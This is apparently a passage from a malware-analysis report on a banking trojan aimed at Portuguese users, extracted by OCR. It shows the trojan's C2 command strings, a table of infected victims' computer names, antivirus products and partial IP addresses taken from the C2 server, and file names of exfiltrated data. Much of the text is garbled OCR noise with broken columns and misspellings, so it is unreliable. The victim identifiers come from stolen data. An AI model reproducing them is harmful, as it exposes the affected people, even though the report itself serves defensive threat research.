<[STAT| »Comande ShowWindow
< WLOGS | >

< [STAT| »Comando SetFore

< [STAT| >Comands WinExec

< |STAT| »Comanda Shel

<|STAT| >Comanda Down
<[STAT| >Downkoad Encerrado <|>
<|STAT| >Comando Block Entrada
[Banca en inea)

[Banco Online]

<|STAT| >Comando SetaFase
<[STAT| >Maq travada<|>
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C2 details and victim’s data

The victim’s data is sent to C2 during the malware execution. During our analysis, it was possible to collect
information on the number of victims affected during this wave (June — mid-September), as well as all data
exfiltrated from the victims’ devices.

Total de infects: 196 - CORE 1 - GB 0 - Avast 45 - Def 190

1 || 04/09 08:11 || CARMO-PC || Windows Vista (TM) Home Presiiam || 50 || 121,1KB || || Portugués (Portugal) || || ESET Internet Security || Windows Def
2 || 04/09 08:15 || DESVCO3 || Win 7| 50 )|, 125,2KB || |] Portugués (Portugal) || || McAfe security-as-a Service || 648 || |
1 04/09 08:32 || L10_008 || Win 71} 50 || 108,2KB }j. || Portugugs (Port ) r » indow ender || 64B || || 89.11
4] 04/09 0 -PC || Win 10 |] 50 || T44,7KB || || Portugugs (Portiigal) || || Bitd ¢ po ols : nder | |
5 8:58 || JOAORODRIGUES || Win 7 || 50 || 138.6KB || || Portugués (Portugal) || || Spybot - Search and Destr 8 |11 64B ||
6 || 04/09 08:59 || AFURADAZ || Win 10 || 50 || 128,9KB || || Portugués (Portugal) || || AVG Antivirus || Win g 1] 94
7 || 04/09 10:00 || POSTOCTB || Win 10 || 50 || 109,7KB || |} Pertugugs (Portugal) || || Windows Defe |l 64B || |].94.60.1
8 || 04/09 10:04 || JMCPC89 || Win 10 |] 50 || 118,8KB || || Portugugs (Portugal) || 1] Webfoot SecureAnywhere ||V ows Defender J) 648 V) .
9 || 04/09 10:35 || MARISA || Win 10 |} 50 |J 109,7KB || | jPortugugs (Portugal) || | | Windows Defender || 4B || || 213.58
10 || 04/09 11:25 || DESKTOP-KUSUUEY || Wind0 || 50 || 117,8KB || || Portugués (Pertugal) j| | | Windows Defender || 648 )1 | |
11 || 04/09 12:03 || PC-MIGUEL || Win 10 || 50 || 449,0KB || || Portugugs (Portugal) || || Sophos Anti-Virus || Windows Defender || 648
12 || 04/09 12:04 || ANGELO-TOSHIBAJ| Win 10 || 50 || 142,1KB || || Portugués (Portugal) || || Windows Defender || 64B']] || 62.28.195
13 || 04/09 12:53 || POSTO1PC || Windows Vista (M) Home Premium || 50 || 131,1KB || || Portugugs (Portugal) || || Avira Antivirus || Windows Defender ||
|| 04/09 02:26 || ADELINA || Win 7 |] 50 || 127,7KB || || Portugugs (Portugal) || || Trend Micre Security at || ¥rend Micro Security AgentAnti-spyware || Windows [
15 || 04/09 10:05 || DESKTOP-B25BLKG || Win 10 || 50 || 116,4KB || || Portugugs (B 1111 Avast Antivirus || Windows Defender || 648 || || 177
16 || 04/09 10:36 || DESKTOP-B25BLKG || Win 10 || 50 || 107,4KB || || Portugugs (B 1171 | Avast Antivieus' || Windows Defender || 648 || || 177
17 || 05/09 10:03 || CARLOS || Win Z ] 50 || 108,2KB || || Portugugs 2 I1328 || || 2.80.2
18 || 06/09 09:41 || LEI204-201 || Win 10 || 50 || 112,3KB || || Portugu a s D 11648 || ||
19 || 07/09 08:03 || ARTEFIRME-PC || Win 10 || 50 |] 142,1KB || || Porty ( 11 .|nr|||.1u\|p| 2
20 || 07/09 08:16 || WALTO2 || Win 10 || 50 || 102,0KB || || Portugu$s (Portugal) || || Syma Er rol: ion || Windows Defender ||*-'IU|| I
21 || 07/09 08:56 || MARIANA-PC || Win 7 || 50 || 160,5KB || || Portugugs (Portugal) || || ESET lndpmm Antivirus || Windows Defender || 648 || || 1
22 || 07/09 09:41 || PTSTDT131 || Win 10 || 50 || 145,4KB || || Portugugs (Portugal) || || Symantec Endpoint Protection || Windows Defender || 648
23 || 07/09 09:58 || MAVILDE || Win 10 || 50 || 132,2KB || || Portugugs (Portugal) || || Windows Defender || 648 || || 83.240
07/09 10:14 | | ASUS_P: .(.MI M-L || Win 10 \| -Il || 144,7KB || || Portugugs (Portugal) || || Windows Defender || 328 || || 87

MJOSE-PC 38 U & 0 1 Norton 360 Norton Securit Windows Defender 328

Figure 27: Some affected users and AV engine installed and running in the infected device.

Interesting that this malware evades AV detection, at least the phase where credentials were collected. We can see

in Figure 28 that many affected computers were running popular antivirus and were infected by this threat. On the

other side, all the victim’s data is stored in TXT files on the C2 server. The file starts with the id language (Portugal —

2070), followed by the computer name, trojan compilation ID, and finally, the victim ID present on the C2 database.
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Name

1033_DESKIOMEMDOVY_HJ0_0506.txt
1034_FO0MRD0_HJ0_0558.txt
1034_B00 i HJ1_0558.txt
1034_1 % w0 HK10_0558.txt
1046_I% e % 9% 